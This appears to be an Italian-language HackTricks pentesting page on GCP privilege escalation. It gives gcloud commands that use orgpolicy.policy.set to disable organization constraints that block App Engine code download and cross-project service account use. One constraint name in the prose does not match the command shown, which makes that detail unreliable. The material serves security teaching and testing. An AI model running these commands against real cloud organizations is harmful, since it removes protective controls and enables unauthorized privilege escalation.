# GCP - Orgpolicy Privesc

{{#include ../../../banners/hacktricks-training.md}}

## orgpolicy

### `orgpolicy.policy.set`

Un attaccante che sfrutta **orgpolicy.policy.set** può manipolare le organizational policies, permettendogli di rimuovere certe restrizioni che impediscono operazioni specifiche. Per esempio, il vincolo **appengine.disableCodeDownload** solitamente blocca il download del source code di App Engine. Tuttavia, usando **orgpolicy.policy.set**, un attaccante può disattivare questo vincolo, ottenendo così l'accesso per scaricare il codice sorgente, nonostante fosse inizialmente protetto.

<details>
<summary>Ottieni informazioni su orgpolicy e disabilita l'applicazione della policy</summary>
```bash
# Get info
gcloud resource-manager org-policies describe <org-policy> [--folder <id> | --organization <id> | --project <id>]

# Disable
gcloud resource-manager org-policies disable-enforce <org-policy> [--folder <id> | --organization <id> | --project <id>]
```
</details>

Uno script Python per questo metodo è disponibile [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py).

### `orgpolicy.policy.set`, `iam.serviceAccounts.actAs`

Di solito non è possibile associare un service account proveniente da un progetto diverso a una risorsa perché esiste un vincolo di policy applicato chiamato **`iam.disableCrossProjectServiceAccountUsage`** che impedisce questa azione.

È possibile verificare se questo vincolo è applicato eseguendo il seguente comando:

<details>
<summary>Verifica vincolo cross-project per service account</summary>
```bash
gcloud resource-manager org-policies describe \
constraints/iam.disableCrossProjectServiceAccountUsage \
--project=<project-id> \
--effective

booleanPolicy:
enforced: true
constraint: constraints/iam.disableCrossProjectServiceAccountUsage
```
</details>

Questo impedisce a un attaccante di abusare del permesso **`iam.serviceAccounts.actAs`** per impersonare un service account di un altro progetto senza le ulteriori autorizzazioni infrastrutturali necessarie per avviare, ad esempio, una nuova VM, il che potrebbe portare a un escalation di privilegi.

Tuttavia, un attaccante con i permessi **`orgpolicy.policy.set`** può aggirare questa restrizione disabilitando il vincolo **`iam.disableServiceAccountProjectWideAccess`**. Questo permette all'attaccante di associare un service account proveniente da un altro progetto a una risorsa nel proprio progetto, aumentando effettivamente i suoi privilegi.

<details>
<summary>Disabilita il vincolo per i service account tra progetti</summary>
```bash
gcloud resource-manager org-policies disable-enforce \
iam.disableCrossProjectServiceAccountUsage \
--project=<project-id>
```
</details>

## Riferimenti

- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)

{{#include ../../../banners/hacktricks-training.md}}
